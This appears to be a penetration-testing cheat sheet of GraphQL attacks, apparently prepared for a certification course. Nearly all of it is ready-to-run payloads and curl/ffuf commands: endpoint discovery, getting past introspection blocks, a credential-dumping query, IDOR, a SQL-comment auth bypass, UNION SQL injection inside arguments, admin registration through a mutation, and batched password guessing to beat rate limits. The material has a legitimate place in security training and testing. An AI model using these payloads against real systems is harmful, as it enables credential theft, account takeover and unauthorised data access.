GraphQL
GraphQL attacks from the CWES path: introspection/schema discovery, data extraction, IDOR, SQL-comment auth bypass, SQLi via arguments, mutation privesc, and batching to beat rate limits. Every payload separated.
Detection
Step 1 — Find the GraphQL endpoint
In Burp Proxy → HTTP history, look for requests to common GraphQL paths. Also run content discovery:
/graphql
/api/graphql
/graphql/v1
/v1/graphql
/api/v1/graphql
/query
/gql
ffuf -w /usr/share/seclists/Discovery/Web-Content/graphql.txt \
-u https://TARGET/FUZZ -mc 200,400
Step 2 — Confirm it’s GraphQL
Send a universal probe — a valid GraphQL query that any server accepts:
curl -s -X POST https://TARGET/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{__typename}"}'
Response {"data":{"__typename":"Query"}} → confirmed GraphQL.
Also try GET:
curl -s "https://TARGET/graphql?query=%7B__typename%7D"
Step 3 — Test if introspection is enabled
curl -s -X POST https://TARGET/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{__schema{types{name}}}"}'
If the response contains a list of type names → introspection is enabled → enumerate the full schema.
If introspection returns an error → it is disabled → try the bypass techniques below.
Step 4 — Bypass disabled introspection
Some servers block the string __schema but not field suggestions. Send a query with a typo to trigger a suggestion leak:
{"query": "{__schema\n{types{name}}}"}
Or use a fragment to bypass keyword filters:
{"query": "query{...on Query{__typename __schema{types{name}}}}"}
Introspection
List all type names:
{ __schema { types { name } } }
List available queries:
{ __schema { queryType { fields { name description } } } }
Get fields of a type:
{ __type(name: "UserObject") { name fields { name type { name kind } } } }
Introspection-block bypass (newline confuses the filter):
{"query": "{__schema\n{types{name}}}"}
Data extraction
Dump all credentials:
{ users { username password } }
Get a specific user:
{ user(username: "admin") { uuid username role } }
IDOR
Access another user’s data by ID:
{ user(id: 2) { username email role } }
Auth bypass via SQL comment
Comment out the password check in an argument:
{ user(username: "admin--") { uuid username role } }
SQL injection via argument
UNION inside a GraphQL argument:
{ user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -") { username } }
Mutation - privilege escalation
Register a user with admin role:
mutation { registerUser(input: { username: "hacker", password: "pass", role: "admin" }) { user { username role } } }
Batching - beat rate limiting
Send many login attempts as one request:
[
{"query": "{ login(user: \"admin\", pass: \"password1\") }"},
{"query": "{ login(user: \"admin\", pass: \"password2\") }"}
]
Fingerprint the engine
python3 main.py -d -f -t http://TARGET